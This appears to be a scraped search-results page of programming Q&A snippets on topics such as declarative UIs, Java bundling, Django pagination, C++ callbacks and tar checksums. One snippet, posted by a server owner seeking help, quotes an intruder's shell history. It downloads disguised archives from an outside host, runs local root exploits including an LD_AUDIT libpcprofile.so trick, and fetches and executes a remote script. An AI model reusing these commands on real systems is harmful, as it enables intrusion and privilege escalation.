Search Results

Search found 17149 results on 686 pages for 'python twitter'.

Page 665/686 | < Previous Page | 661 662 663 664 665 666 667 668 669 670 671 672  | Next Page >

  • Where is the Open Source alternative to WPF?

    - by Evan Plaice
    If we've learned anything from HTML/CSS it's that, declarative languages (like XML) work best to describe User Interfaces because: It's easy to build code preprocessors that can template the code effectively. The code is in a well defined well structured (ideally) format so it's easy to parse. The technology to effectively parse or crawl an XML based source file already exists. The UIs scripted code becomes much simpler and easier to understand. It simple enough that designers are able to design the interface themselves. Programmers suck at creating UIs so it should be made easy enough for designers. I recently took a look at the meat of a WPF application (ie. the XAML) and it looks surprisingly familiar to the declarative language style used in HTML. It's blindingly apparent to me that the current state of desktop UI development is largely fractionalized, otherwise there wouldn't be so much duplicated effort in the domain of user interfaces (IE. GTK, XUL, Qt, Winforms, WPF, etc). There are 45 GUI platforms for Python alone It's painfully obvious to me that there should be a general purpose, open source, standardized, platform independent, markup language for designing desktop GUIs. Much like what the W3C made HTML/CSS into. WPF, or more specifically XAML seems like a pretty likely step in the right direction. Why hasn't anyone in the Open Source community (AFAIK) even scratched the surface of this issue. Now that the 'browser wars' are over should we look forward to a future of 'desktop gui wars?' Note: This topic is relatively subjective in the attempt to be 'future-thinking.' I think that desktop GUI development in its current state sucks ((really)hard) and, even though WPF is still in it's infancy, it presents a likely solution to the problem. Has no one in the OS community looked into developing something similar because they don't see the value, or because it's not worth the effort?

    Read the article

  • Truly declarative language?

    - by gjvdkamp
    Hi all, Does anyone know of a truly declarative language? The behaviour I'm looking for is kind of what Excel does, where I can define variables and formulas, and have the formula's result change when the input changes (without having set the answer again myself) The behaviour I'm looking for is best shown with this pseudo code: X = 10 // define and assign two variables Y = 20; Z = X + Y // declare a formula that uses these two variables X = 50 // change one of the input variables ?Z // asking for Z should now give 70 (50 + 20) I've tried this in a lot of languages like F#, python, matlab etc, but every time i try this they come up with 30 instead of 70. Wich is correct from an imperative point of view, but i'm looking for a more declerative behaviour if you know what i mean. And this is just a very simple calculation. When things get more difficult it should handle stuff like recursion and memoization automagically. The code below would obviously work in C# but it's just so much code for the job, i'm looking for something a bit more to the point without all that 'technical noise' class BlaBla{ public int X {get;set;} // this used to be even worse before 3.0 public int Y {get;set;} public int Z {get{return X + Y;}} } static void main(){ BlaBla bla = new BlaBla(); bla.X = 10; bla.Y = 20; // can't define anything here bla.X = 50; // bit pointless here but I'll do it anyway. Console.Writeline(bla.Z);// 70, hurray! } This just seems like so much code, curly braces and semicolons that add nothing. Is there a language/ application (apart from Exel) that does this? Maybe I'm no doing it right in the mentioned langauges, or I've completely missed an app that does just this. I prototyped a language/ application that does this (along with some other stuff) and am thinking of productizing it. I just can't believe it's not there yet. Don't want to waste my time. Thanks in advance, Gert-Jan

    Read the article

  • Is there a mechanism to distribute an app with its own JRE?

    - by user179997
    These fine folks are my users: http://www.youtube.com/watch?v=o4MwTvtyrUQ If you don't want to enjoy the video here is the gist: my users can't tell between a file and a folder, between a browser and a web site. I need to create a Java web app (Tomcat or Jetty) and deploy it in as many of their computers, Windows and Mac. The question is: Is there a mechanism to distribute an app with its own JRE? (in the Tcl world there are starpacks and starkits, in the Python world there's py2exe and others, that's the idea). And also, is it legal? I know the VM is open source but I'm not clear about the libraries, and I know about GNU Classpath but I don't know if all the packages are there. I don't want to depend on the installed JRE or on the user having enough privileges to install one. On the Mac I don't want to depend on Apple (I had to switch from Tiger to Snow Leopard just to have Java 1.6, I can't put my users in that position) Any info greatly appreciated. Thanks! jb edit: I'm wondering if I can just paste the JRE folder under my app folder. Is that allowed?

    Read the article

  • What programming language is this?

    - by Richard M.
    I recently stumbled over a very odd source listing on a rather old programming-related site (lost it somewhere in my browser history as I didn't care about it at first). I think that this is part of a simple (console-based?) snake game. I searched and searched but didn't find a language that looked somwhat like this. This seems like a mix of Python, Ruby and C++. What the hell? What programming-language is the below source listing written in? Maybe you can figure it out? my Snake.hasProps { length parts xDir yDir } & hasMethods { init: length = 0 parts[0].x,y = 5 move: parts[ 0 ].x,y.!add xDir | yDir # Move the head map parts(i,v): parts[ i ] = parts[ i + 1 ] checkBiteSelf checkFeed checkBiteSelf: part } my SnakePart.hasProps { x y } fork SnakePart to !Feed my Game.hasProps { frameTime = 30 } & hasMethods { init: mainloop mainloop: sys.util.sleep frameTime Snake.move Field.getInput -> Snake.xDir | Snake.yDir Field.reDraw with Snake & Feed & Game # For FPS } main.isMethod { game.init }

    Read the article

  • C++ interpreter conceptual problem

    - by Jan Wilkins
    I've built an interpreter in C++ for a language created by me. One main problem in the design was that I had two different types in the language: number and string. So I have to pass around a struct like: class myInterpreterValue { myInterpreterType type; int intValue; string strValue; } Objects of this class are passed around million times a second during e.g.: a countdown loop in my language. Profiling pointed out: 85% of the performance is eaten by the allocation function of the string template. This is pretty clear to me: My interpreter has bad design and doesn't use pointers enough. Yet, I don't have an option: I can't use pointers in most cases as I just have to make copies. How to do something against this? Is a class like this a better idea? vector<string> strTable; vector<int> intTable; class myInterpreterValue { myInterpreterType type; int locationInTable; } So the class only knows what type it represents and the position in the table This however again has disadvantages: I'd have to add temporary values to the string/int vector table and then remove them again, this would eat a lot of performance again. Help, how do interpreters of languages like Python or Ruby do that? They somehow need a struct that represents a value in the language like something that can either be int or string.

    Read the article

  • How to implement generic callbacks in C++

    - by Kylotan
    Forgive my ignorance in asking this basic question but I've become so used to using Python where this sort of thing is trivial that I've completely forgotten how I would attempt this in C++. I want to be able to pass a callback to a function that performs a slow process in the background, and have it called later when the process is complete. This callback could be a free function, a static function, or a member function. I'd also like to be able to inject some arbitrary arguments in there for context. (ie. Implementing a very poor man's coroutine, in a way.) On top of that, this function will always take a std::string, which is the output of the process. I don't mind if the position of this argument in the final callback parameter list is fixed. I get the feeling that the answer will involve boost::bind and boost::function but I can't work out the precise invocations that would be necessary in order to create arbitrary callables (while currying them to just take a single string), store them in the background process, and invoke the callable correctly with the string parameter.

    Read the article

  • R: manipulating data.frames containing strings and booleans.

    - by Mike Dewar
    Hello. I have a data.frame in R; it's called p. Each element in the data.frame is either True or False. My variable p has, say, m rows and n columns. For every row there is strictly only one TRUE element. It also has column names, which are strings. What I would like to do is the following: For every row in p I see a TRUE I would like to replace with the name of the corresponding column I would then like to collapse the data.frame, which now contains FALSEs and column names, to a single vector, which will have m elements. I would like to do this in an R-thonic manner, so as to continue my enlightenment in R and contribute to a world without for-loops. I can do step 1 using the following for loop: for (i in seq(length(colnames(p)))) { p[p[,i]==TRUE,i]=colnames(p)[i] } but theres's no beauty here and I have totally subscribed to this for-loops-in-R-are-probably-wrong mentality. Maybe wrong is too strong but they're certainly not great. I don't really know how to do step 2. I kind of hoped that the sum of a string and FALSE would return the string but it doesn't. I kind of hoped I could use an OR operator of some kind but can't quite figure that out (Python responds to False or 'bob' with 'bob'). Hence, yet again, I appeal to you beautiful Rstats people for help!

    Read the article

  • Using django and django-voting app, how can I order a queryset according to the votes of each item?

    - by snz3
    (I'm new to python and django so please bear with me for a second. I apologise if this has been answered elsewhere and couldn't find it) Let's say I have a Link model and through the django-voting application users can vote on link instances. How can I order those link instances according to their score, eg. display those with the higher score first. I assume I could use the get_top manager of django-voting, but that would only give me the top scoring link instances and wouldn't take into consideration other parameters I would like to add (for example, those links that belong to a specific user or paging or whatever). My guess would be to write a custom manager for my Link model where by I can filter a queryset according to each item's score. If I understand correctly that will require me to loop through each item, check its score, and then place it a list (or dictionary) which will then be sorted according to the score of each item. That wouldn't return a queryset but a dictionary with each item. Am I missing something here?

    Read the article

  • How is a functional programming-based javascript app laid out?

    - by user321521
    I've been working with node.js for awhile on a chat app (I know, very original, but I figured it'd be a good learning project). Underscore.js provides a lot of functional programming concepts which look interesting, so I'd like to understand how a functional program in javascript would be setup. From my understanding of functional programming (which may be wrong), the whole idea is to avoid side effects, which are basically having a function which updates another variable outside of the function so something like var external; function foo() { external = 'bar'; } foo(); would be creating a side effect, correct? So as a general rule, you want to avoid disturbing variables in the global scope. Ok, so how does that work when you're dealing with objects and what not? For example, a lot of times, I'll have a constructor and an init method that initializes the object, like so: var Foo = function(initVars) { this.init(initVars); } Foo.prototype.init = function(initVars) { this.bar1 = initVars['bar1']; this.bar2 = initVars['bar2']; //.... } var myFoo = new Foo({'bar1': '1', 'bar2': '2'}); So my init method is intentionally causing side effects, but what would be a functional way to handle the same sort of situation? Also, if anyone could point me to either a python or javascript source code of a program that tries to be as functional as possible, that would also be much appreciated. I feel like I'm close to "getting it", but I'm just not quite there. Mainly I'm interested in how functional programming works with traditional OOP classes concept (or does away with it for something different if that's the case).

    Read the article

  • How to efficiently store and update binary data in Mongodb?

    - by Rocketman
    I am storing a large binary array within a document. I wish to continually add bytes to this array and sometimes change the value of existing bytes. I was looking for some $append_bytes and $replace_bytes type of modifiers but it appears that the best I can do is $push for arrays. It seems like this would be doable by performing seek-write type operations if I had access somehow to the underlying bson on disk, but it does not appear to me that there is anyway to do this in mongodb (and probably for good reason). If I were instead to just query this binary array, edit or add to it, and then update the document by rewriting the entire field, how costly will this be? Each binary array will be on the order of 1-2MB, and updates occur once every 5 minutes and across 1000s of documents. Worse, yet there is no easy way to spread these out (in time) and they will usually be happening close to one another on the 5 minute intervals. Does anyone have a good feel for how disastrous this will be? Seems like it would be problematic. An alternative would be to store this binary data as separate files on disk, implement a thread pool to efficiently manipulate the files on disk, and reference the filename from my mongodb document. (I'm using python and pymongo so I was looking at pytables). I'd prefer to avoid this though if possible. Is there any other alternative that I am overlooking here? Thanks in advnace.

    Read the article

  • How to output multicolumn html without "widows"?

    - by user314850
    I need to output to HTML a list of categorized links in exactly three columns of text. They must be displayed similar to columns in a newspaper or magazine. So, for example, if there are 20 lines total the first and second columns would contain 7 lines and the last column would contain 6. The list must be dynamic; it will be regularly changed. The tricky part is that the links are categorized with a title and this title cannot be a "widow". If you have a page layout background you'll know that this means the titles cannot be displayed at the bottom of the column -- they must have at least one link underneath them, otherwise they should bump to the next column (I know, technically it should be two lines if I were actually doing page layout, but in this case one is acceptable). I'm having a difficult time figuring out how to get this done. Here's an example of what I mean: Shopping Link 3 Link1 Link 1 Link 4 Link2 Link 2 Link 3 Link 3 Cars Link 1 Music Games Link 2 Link 1 Link 1 Link 2 News As you can see, the "News" title is at the bottom of the middle column, and so is a "widow". This is unacceptable. I could bump it to the next column, but that would create an unnecessarily large amount of white space at the bottom of the second column. What needs to happen instead is that the entire list needs to be re-balanced. I'm wondering if anyone has any tips for how to accomplish this, or perhaps source code or a plug in. Python is preferable, but any language is fine. I'm just trying to get the general concept down.

    Read the article

  • Ubuntu Server hack [closed]

    - by haxpanel
    Hi! I looked at netstat and I noticed that someone besides me is connected to the server by ssh. I looked after this because my user has the only one ssh access. I found this in an ftp user .bash_history file: w uname -a ls -a sudo su wget qiss.ucoz.de/2010/.jpg wget qiss.ucoz.de/2010.jpg tar xzvf 2010.jpg rm -rf 2010.jpg cd 2010/ ls -a ./2010 ./2010x64 ./2.6.31 uname -a ls -a ./2.6.37-rc2 python rh2010.py cd .. ls -a rm -rf 2010/ ls -a wget qiss.ucoz.de/ubuntu2010_2.jpg tar xzvf ubuntu2010_2.jpg rm -rf ubuntu2010_2.jpg ./ubuntu2010-2 ./ubuntu2010-2 ./ubuntu2010-2 cat /etc/issue umask 0 dpkg -S /lib/libpcprofile.so ls -l /lib/libpcprofile.so LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ping gcc touch a.sh nano a.sh vi a.sh vim wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh nano ubuntu10.sh ls -a rm -rf ubuntu10.sh . .. a.sh .cache ubuntu10.sh ubuntu2010-2 ls -a wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh ls -a rm -rf ubuntu10.sh wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe rm -rf W2Ksp3.exe passwd The system is in a jail. Does it matter in the current case? What shall i do? Thanks for everyone!! I have done these: - ban the connected ssh host with iptables - stoped the sshd in the jail - saved: bach_history, syslog, dmesg, files in the bash_history's wget lines

    Read the article

  • Why is debugging better in an IDE?

    - by Bill Karwin
    I've been a software developer for over twenty years, programming in C, Perl, SQL, Java, PHP, JavaScript, and recently Python. I've never had a problem I could not debug using some careful thought, and well-placed debugging print statements. I respect that many people say that my techniques are primitive, and using a real debugger in an IDE is much better. Yet from my observation, IDE users don't appear to debug faster or more successfully than I can, using my stone knives and bear skins. I'm sincerely open to learning the right tools, I've just never been shown a compelling advantage to using visual debuggers. Moreover, I have never read a tutorial or book that showed how to debug effectively using an IDE, beyond the basics of how to set breakpoints and display the contents of variables. What am I missing? What makes IDE debugging tools so much more effective than thoughtful use of diagnostic print statements? Can you suggest resources (tutorials, books, screencasts) that show the finer techniques of IDE debugging? Sweet answers! Thanks much to everyone for taking the time. Very illuminating. I voted up many, and voted none down. Some notable points: Debuggers can help me do ad hoc inspection or alteration of variables, code, or any other aspect of the runtime environment, whereas manual debugging requires me to stop, edit, and re-execute the application (possibly requiring recompilation). Debuggers can attach to a running process or use a crash dump, whereas with manual debugging, "steps to reproduce" a defect are necessary. Debuggers can display complex data structures, multi-threaded environments, or full runtime stacks easily and in a more readable manner. Debuggers offer many ways to reduce the time and repetitive work to do almost any debugging tasks. Visual debuggers and console debuggers are both useful, and have many features in common. A visual debugger integrated into an IDE also gives you convenient access to smart editing and all the other features of the IDE, in a single integrated development environment (hence the name).

    Read the article

  • Unable to HTTP PUT with libcurl

    - by Jesse Beder
    I'm trying to PUT data using libcurl to mimic the command curl -u test:test -X PUT --data-binary @data.yaml "http://127.0.0.1:8000/foo/" which works correctly. My options look like: curl_easy_setopt(handle, CURLOPT_USERPWD, "test:test"); curl_easy_setopt(handle, CURLOPT_URL, "http://127.0.0.1:8000/foo/"); curl_easy_setopt(handle, CURLOPT_VERBOSE, 1); curl_easy_setopt(handle, CURLOPT_UPLOAD, 1); curl_easy_setopt(handle, CURLOPT_READFUNCTION, read_data); curl_easy_setopt(handle, CURLOPT_READDATA, &yaml); curl_easy_setopt(handle, CURLOPT_INFILESIZE, yaml.size()); curl_easy_perform(handle); I believe the read_data function works correctly, but if you ask, I'll post that code. I'm using Django with django-piston, and my update function is never called! (It is called when I use the command line version above.) libcurl's output is: * About to connect() to 127.0.0.1 port 8000 (#0) * Trying 127.0.0.1... * connected * Connected to 127.0.0.1 (127.0.0.1) port 8000 (#0) * Server auth using Basic with user 'test' > PUT /foo/ HTTP/1.1 Authorization: Basic dGVzdDp0ZXN0 Host: 127.0.0.1:8000 Accept: */* Content-Length: 244 Expect: 100-continue * Done waiting for 100-continue ** this is where my read_data handler confirms: read 244 bytes ** * HTTP 1.0, assume close after body < HTTP/1.0 400 BAD REQUEST < Date: Thu, 13 May 2010 08:22:52 GMT < Server: WSGIServer/0.1 Python/2.5.1 < Vary: Authorization < Content-Type: text/plain < Bad Request* Closing connection #0

    Read the article

  • gpg error - connection already closed?

    - by OopsForgotMyOtherUserName
    omg... hope someone can help me because I am so lost as to what to try next.... I don't know what is causing the error to happen, and I don't see how to figure it out... Keep going between the pgloader.conf examples and what I have, and I don't understand why I keep getting the 'connection already closed' error? The first few lines of my fr.conf is at the very end... I'd really appreciate / love some guidance here... Been trying to get this thing going all morning, and am even getting stuck just on this part... Running this command at the command line: /usr/bin/pgloader -c /var/mybin/pgconfs/fr.conf Yields this in the pgloader.log (with the process just hanging) more /tmp/pgloader.log 27-03-2010 12:22:53 pgloader INFO Logger initialized 27-03-2010 12:22:53 pgloader INFO Reformat path is ['/usr/share/python-support/pgloader/reformat'] 27-03-2010 12:22:53 pgloader INFO Will consider following sections: 27-03-2010 12:22:53 pgloader INFO fixed 27-03-2010 12:22:54 fixed INFO fixed processing 27-03-2010 12:22:54 pgloader INFO All threads are started, wait for them to terminate 27-03-2010 12:22:57 fixed ERROR connection already closed 27-03-2010 12:22:57 fixed INFO closing current database connection [pgsql] host = localhost port = 5432 base = frdb user = username pass = password [fixed] table = fr format = fixed filename = /var/www/fr.txt ...

    Read the article

  • Creating a tar file with checksums included

    - by wazoox
    Here's my problem : I need to archive to tar files a lot ( up to 60 TB) of big files (usually 30 to 40 GB each). I would like to make checksums ( md5, sha1, whatever) of these files before archiving; however not reading every file twice (once for checksumming, twice for tar'ing) is more or less a necessity to achieve a very high archiving performance (LTO-4 wants 120 MB/s sustained, and the backup window is limited). So I'd need some way to read a file, feeding a checksumming tool on one side, and building a tar to tape on the other side, something along : tar cf - files | tee tarfile.tar | md5sum - Except that I don't want the checksum of the whole archive (this sample shell code does just this) but a checksum for each individual file in the archive. I've studied GNU tar, Pax, Star options. I've looked at the source from Archive::Tar. I see no obvious way to achieve this. It looks like I'll have to hand-build something in C or similar to achieve what I need. Perl/Python/etc simply won't cut it performance-wise, and the various tar programs miss the necessary "plugin architecture". Does anyone know of any existing solution to this before I start code-churning ?

    Read the article

  • key-words highlight in <textarea> (again)

    - by Halst
    Wait, I know! I know that this "syntax highlight in textarea"-question was raised like a million times on stackoverflow! But, please, listen. offtopic: I'm not a web-developer, and technically I'm not a programmer at all. I study mechatronics and deal mostly with control-engineering and digital-hardware. And I'm so pissed off that whenever I want to share some application (that would be helpful in my field) and embed it into the web, I need to know such a crazy amount of technologies, like html, css, javascript, flash, etc.. that takes time, which I could have been spending for the benefit of my own field. Right now I'm playing with hardware-description-languages and I'm writing some Python-libraries to convert one HDL into another. And I wanted to embed such feature on the web: http://xhdl2vhdl.appspot.com/ I wanted to implement some basic syntax highlighting (only keywords highlighting will be enough) so that the code could be readable. But the whole idea highlighting something in textarea is not trivial at all. The other difficulty is that the languages I work with are rare, and there are no out-of-box solutions for them. I tried to dig into these solutions, but they are very complicated for me: http://www.nicolarizzo.com/gamesroom/experimental/CodeEditor.html http://marijn.haverbeke.nl/codemirror/jstest.html and there is no clear descriptions how to use them (for my level of knowledge of web-development). So, is there a simple solution, just to highlight a bunch of key-words in textarea or perform something equivalent? Thank you.

    Read the article

  • Multiple use of a form before it is submitted

    - by OregonTrail
    I'm new to JavaScript, and trying to figure out the canonical way to do the following. I have a form with some checkboxes and a selector. Let's say the checkboxes are styles of music and the selector is for people's names. I'd like the user to be able to select the styles of music for each of the people's names and then submit the form with all of the data. For example, the user might first check off Classical, Jazz, Rock, and Pop and choose "Joe", then select Jazz, Pop, Country, and Electronica and choose "Jane". So there would have to be two different buttons for "submit person" and "submit form". I would like to: Have a list of the names and their chosen styles populate below the form, for feedback Allow the user to use the form as much as they want, and then submit all the data at the end I get the feeling that using jquery and JSON is perfect for this, but I'm not sure what search terminology to use to figure out how to do this. If it matters, the form will be processed by a Django view in Python.

    Read the article

  • Initialize Static Array of Structs in C

    - by russell_h
    I implementing a card game in C. There are lots of types of cards and each has a bunch of information, including some actions that will need to be individually scripted associated with it. Given a struct like this (and I'm not certain I have the syntax right for the function pointer) struct CARD { int value; int cost; // This is a pointer to a function that carries out actions unique // to this card int (*do_actions) (struct GAME_STATE *state, int choice1, int choice2); }; I would like to initialize a static array of these, one for each card. I'm guessing this would look something like this int do_card0(struct GAME_STATE *state, int choice1, int choice2) { // Operate on state here } int do_card1(struct GAME_STATE *state, int choice1, int choice2) { // Operate on state here } extern static struct cardDefinitions[] = { {0, 1, do_card0}, {1, 3, do_card1} }; Will this work, and am I going about this the right way at all? I'm trying to avoid huge numbers of switch statements. Do I need to define the 'do_cardN' functions ahead of time, or is there some way to define them inline in the initialization of the struct (something like a lambda function in python)? I'll need read-only access to cardDefinitions from a different file - is 'extern static' correct for that? I know this is a lot of questions rolled into one but I'm really a bit vague about how to go about this. Thanks.

    Read the article

  • Django: Paginator + raw SQL query

    - by Silver Light
    Hello! I'm using Django Paginator everywhere on my website and even wrote a special template tag, to make it more convenient. But now I got to a state, where I need to make a complex custom raw SQL query, that without a LIMIT will return about 100K records. How can I use Django Pagintor with custom query? Simplified example of my problem: My model: class PersonManager(models.Manager): def complicated_list(self): from django.db import connection #Real query is much more complex cursor.execute("""SELECT * FROM `myapp_person`"""); result_list = [] for row in cursor.fetchall(): result_list.append(row[0]); return result_list class Person(models.Model): name = models.CharField(max_length=255); surname = models.CharField(max_length=255); age = models.IntegerField(); objects = PersonManager(); The way I use pagintation with Django ORM: all_objects = Person.objects.all(); paginator = Paginator(all_objects, 10); try: page = int(request.GET.get('page', '1')) except ValueError: page = 1 try: persons = paginator.page(page) except (EmptyPage, InvalidPage): persons = paginator.page(paginator.num_pages) This way, Django get very smart, and adds LIMIT to a query when executing it. But when I use custom manager: all_objects = Person.objects.complicated_list(); all data is selected, and only then python list is sliced, which is VERY slow. How can I make my custom manager behave similar like built in one?

    Read the article

  • Why can't I simply copy installed Perl modules to other machines?

    - by pistacchio
    Being very new to Perl but not to dynamic languages, I'm a bit surprised at how not straight forward the manage of modules is. Sure, cpan X does theoretically work, but I'm working on the same project from three different machines and OSs (at work, at home, testing in an external environment). At work (Windows 7) I have problem using cpan because of our firewall that makes ftp unusable At home (Mac OS X) it does work In the external environment (Linux CentOs) it worked after hours because I don't have root access and I had to configure cpan to operate as a non-root user I've tried on another server where I have an access. If the previous external environment is a VPS and so I have a shell access, this other one is a cheap shared hosting where I have no way to install new modules other than the ones pre-installed At the moment I still can't install Template under Windows. I've seen that as an alternative I could compile it and I've also tried ActiveState's PPM but the module is not existent there. Now, my perplexity is about Perl being a dynamic language. I've had all these kind of problems while working, for example, with C where I had to compile all the libraries for all the platform, but I thought that with Perl the approach would have been very similar to Python's or PHP's where in 90% of the cases copying the module in a directory and importing it simply works. So, my question: if Perl's modules are written in Perl, why the copy/paste approach will not work? If some (or some part) of the modules have to be compiled, how to see in CPAN if a module is Perl-only or it relies upon compiled libraries? Isn't there a way to download the module (tar, zip...) and use cpan to deploy it? This would solve my problem under Windows.

    Read the article

  • What technology should I use to write my game?

    - by Alon
    I have a great idea for a 3D network game, and I've concluded that it is possible to write it in Java as an applet which will live under the web browser, just like a full software in C++. And it will look and feel the same. The main advantage of Java on C++ is that with Java you can play without downloading any software. I have already thought about the download of the graphics, sound, etc but I found a solution for it. RuneScape just proves that it is possible. So my first question is, should my game live on a web browser or on the operating system? I think that in a web browser it is much more portable, although you need install Java and stuff. But the fact is, that most MMO games are currently not in the web. If you suggest in a software so please suggest a language either - C++ or something more productive like Python or C#? So after choosing a language, I need a graphics solution. Should I write directly with OpenGL/DirectX or use a game engine? What game engine should I use? Ogre? jMonkeyEngine? What's your opinion? Thank you! P.S: Please don't use answers like "Use what you know".

    Read the article

  • How do you organise multiple git repositories?

    - by dbr
    With SVN, I had a single big repository I kept on a server, and checked-out on a few machines. This was a pretty good backup system, and allowed me easily work on any of the machines. I could checkout a specific project, commit and it updated the 'master' project, or I could checkout the entire thing. Now, I have a bunch of git repositories, for various projects, several of which are on github. I also have the SVN repository I mentioned, imported via the git-svn command.. Basically, I like having all my code (not just projects, but random snippets and scripts, some things like my CV, articles I've written, websites I've made and so on) in one big repository I can easily clone onto remote machines, or memory-sticks/harddrives as backup. The problem is, since it's a private repository, and git doesn't allow checking out of a specific folder (that I could push to github as a separate project, but have the changes appear in both the master-repo, and the sub-repos) I could use the git submodule system, but it doesn't act how I want it too (submodules are pointers to other repositories, and don't really contain the actual code, so it's useless for backup) Currently I have a folder of git-repos (for example, ~/code_projects/proj1/.git/ ~/code_projects/proj2/.git/), and after doing changes to proj1 I do git push github, then I copy the files into ~/Documents/code/python/projects/proj1/ and do a single commit (instead of the numerous ones in the individual repos). Then do git push backupdrive1, git push mymemorystick etc So, the question: How do your personal code and projects with git repositories, and keep them synced and backed-up?

    Read the article

  • Deal with undefined values in code or in the template?

    - by David
    I'm writing a web application (in Python, not that it matters). One of the features is that people can leave comments on things. I have a class for comments, basically like so: class Comment: user = ... # other stuff where user is an instance of another class, class User: name = ... # other stuff And of course in my template, I have <div>${comment.user.name}</div> Problem: Let's say I allow people to post comments anonymously. In that case comment.user is None (undefined), and of course accessing comment.user.name is going to raise an error. What's the best way to deal with that? I see three possibilities: Use a conditional in the template to test for that case and display something different. This is the most versatile solution, since I can change the way anonymous comments are displayed to, say, "Posted anonymously" (instead of "Posted by ..."), but I've often been told that templates should be mindless display machines and not include logic like that. Also, other people might wind up writing alternate templates for the same application, and I feel like I should be making things as easy as possible for the template writer. Implement an accessor method for the user property of a Comment that returns a dummy user object when the real user is undefined. This dummy object would have user.name = 'Anonymous' or something like that and so the template could access it and print its name with no error. Put an actual record in my database corresponding to a user with user.name = Anonymous (or something like that), and just assign that user to any comment posted when nobody's logged in. I know I've seen some real-world systems that operate this way. (phpBB?) Is there a prevailing wisdom among people who write these sorts of systems about which of these (or some other solution) is the best? Any pitfalls I should watch out for if I go one way vs. another? Whoever gives the best explanation gets the checkmark.

    Read the article

  • Learning libraries without books or tutorials

    - by Kawili-wili
    While many ask questions about where to find good books or tutorials, I'd like to take the opposite tack. I consider myself to be an entry-level programmer ready to move up to mid-level. I have written code in c, c++, c#, perl, python, clojure, vb, and java, so I'm not completely clueless. Where I see a problem in moving to the next level is learning to make better use of the literally hundreds upon hundreds of libraries available out there. I seem paralyzed unless there is a specific example in a book or tutorial to hand-hold me, yet I often read in various forums where another programmer attempts to assist with a question. He/she will look through the docs or scan the available classes/methods in their favorite IDE and seem to grok what's going on in a relatively short period of time, even if they had no previous experience with that specific library or function. I yearn to break the umbilical chord of constantly spending hour upon hour searching and reading, searching and reading, searching and reading. Many times there is no book or tutorial, or if there is, the discussion glosses over my specific needs or the examples shown are too far off the path for the usage I had in mind or the information is outdated and makes use of deprecated components or the library itself has fallen out of mainstream, yet is still perfectly usable (but no docs, books, or tutorials to hand-hold). My question is: In the absence of books or tutorials, what is the best way to grok new or unfamiliar libraries? I yearn to slicken the grok path so I can get down to the business of doing what I love most -- coding.

    Read the article

< Previous Page | 661 662 663 664 665 666 667 668 669 670 671 672  | Next Page >